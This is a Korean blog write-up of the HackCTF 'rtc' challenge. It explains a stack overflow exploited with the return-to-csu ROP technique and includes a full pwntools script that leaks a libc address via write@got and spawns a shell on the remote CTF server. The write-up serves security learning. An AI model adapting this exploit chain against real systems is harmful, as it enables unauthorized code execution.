profile image

L o a d i n g . . .

article thumbnail image
Published 2021. 6. 1. 13:35

문제

보호 기법

NX 가 걸려있다.

 

문제 바이너리 실행

멘트를 출력하고, 입력을 받는다.

 

메인 함수

buf 에 입력 시 bof 가 발생한다.

nx, aslr 이 걸려있는 상황에서 rop 를 이용해 풀려고 했는데, 마땅한 가젯이 없다...!

이런 경우 RTC(return to csu) 기법으로 문제를 풀 수 있었다.

 

__libc_csu_init() 함수로 리턴해 거기 있는 가젯들을 이용해 인자값을 레지스터에 저장하고 함수를 호출하여 주소를 leak 한 뒤, 다시 메인으로 돌아와서 bof 를 일으키면 된다.

 

RTC 기법은 다음 블로그를 참고해 공부하였다.

https://py0zz1.tistory.com/107

 

Return-to-Csu 기법 정리

포너블 문제를 풀 때, 64Bit 바이너리가 까다로운 이유가 바로 'Gadget' 때문이다. 64Bit의 Calling Convention은 Fastcall로 호출된 함수에 인자를 레지스터로 전달한다. 이 때문에 Exploit을 구성할 때도 [POP R.

py0zz1.tistory.com

 

 

 

문제 해결 방안

두 부분으로 나누어서 보겠다.

 

csu_init (4006A0)

스택에 저장되어 있는 값을 rbx, rbp, r12, r13, r14, r15 로 pop 해서 넣는다.

 

csu_call (4006B6)

mov rdx, r13 : r13의 값을 rdx 레지스터에 넣는다.

mov rsi, r14 : r14의 값을 rsi 레지스터에 넣는다.

mov edi, r15d : r15의 값을 edi 레지스터에 넣는다.

call qword ptr [r12+rbx*8] : (r12 + rbx*8) 가 가르키는 주소를 호출한다.

-> r12에 원하는 주소를 적고, r8에 0을 주면 된다.

add rbx, 1 : rbx에 1을 더한다.

cmp rbx, rbp : rbx와 rbp를 비교한다.

jnz short loc_4006a0 : 위에서 rbx와 rbp가 같을 경우 다음 라인인 4006B6으로 이동한다.

 


접근 방법은 다음과 같을 것이다.

 

1) csu_init 주소로 RET를 덮는다.

-> 리턴 시 이 곳으로 이동할 것이다.

 

2) csu_call에서 함수 호출 시 rdi, rsi, rdx 레지스터를 사용하기 위해 r13, r14, r15에 적절한 값을 넣어준다.

 

3) 그 뒤 csu_call로 리턴하여 write(1,read@got, 8) 로 libc leak을 한 뒤, main 으로 돌아온다.

 

4) main 으로 리턴한 뒤에, leak 한 주소를 바탕으로 실제 함수 주소를 구해 system(binsh)을 실행한다.

 

다음과 같이 레지스터 값들을 세팅하면 된다.

rbx = 0
rbp = 1
r12 = write@got (plt 가 아닌 got 주소를 적어야 함)
r13 = 8
r14 = read@got
r15 = 1
retn = 4006A0으로 줘서 write 함수를 통해 leak 할 수 있도록 함.

 

 

 

익스플로잇

from pwn import *

# context.log_level = 'debug'

# r = process('./rtc')
r = remote("ctf.j0n9hyun.xyz", 3025)
elf = ELF("./rtc")
libc = ELF("./libc.so.6")

read_offset = libc.symbols['read']
system_offset = libc.symbols['system']
binsh_offset = list(libc.search(b"/bin/sh\00"))[0]
main = 0x4005f6
pr = 0x4006c3

# register set
rbx = 0
rbp = 1
r12 = elf.got['write']
r13 = 8
r14 = elf.got['read']
r15 = 1

# payload
payload = b"A"*0x48 + p64(0x4006ba)
payload += p64(rbx) + p64(rbp) + p64(r12) + p64(r13) + p64(r14) + p64(r15) + p64(0x4006a0)
payload += p64(0)*7 + p64(main)

# send first payload
r.sendlineafter("\n", payload)

# address leak
read = u64(r.recv(8))
log.info("read : "+hex(read))

libcBase = read - read_offset
system = libcBase + system_offset
binsh = libcBase + binsh_offset
log.info("read : "+hex(read))
log.info("system : "+hex(system))
log.info("binsh : "+hex(binsh))

# second payload
payload2 = b"A"*0x48 + p64(pr) + p64(binsh) + p64(system)

# send second payload
r.sendlineafter("\n", payload2)
r.interactive()

익스플로잇 코드이다.


1) \n 까지 받고 페이로드를 전송

dummy*0x48 + 4006ba
rbx + rbp + r12 + r13 + r14 + r15 + 4006a0
"A"*8*7 + main

 

-> ret를 csu_init 주소로 변경
-> 레지스터 값들을 적절하게 세팅한 후 csu_call 로 return 해서 got 주소 leak
-> 다시 csu_init 으로 돌아가 ret 전까지를 더미로 채우고 ret 를 main 함수로 변경해 main 으로 돌아감

2) 메인으로 돌아간 뒤, leak 한 주소를 바탕으로 실제 주소를 구해서 system(binsh) 실행

 

 

성공적으로 쉘을 획득하였다!

 

'Wargame > HackCTF' 카테고리의 다른 글

[HackCTF] World Best Encryption Tool  (0) 2021.05.29
[HackCTF] Unexploitable #2  (0) 2021.05.23
[HackCTF] Unexploitable #1  (0) 2021.05.23
[HackCTF] UAF  (0) 2021.05.08
[HackCTF] Beginner_Heap  (0) 2021.05.08
복사했습니다!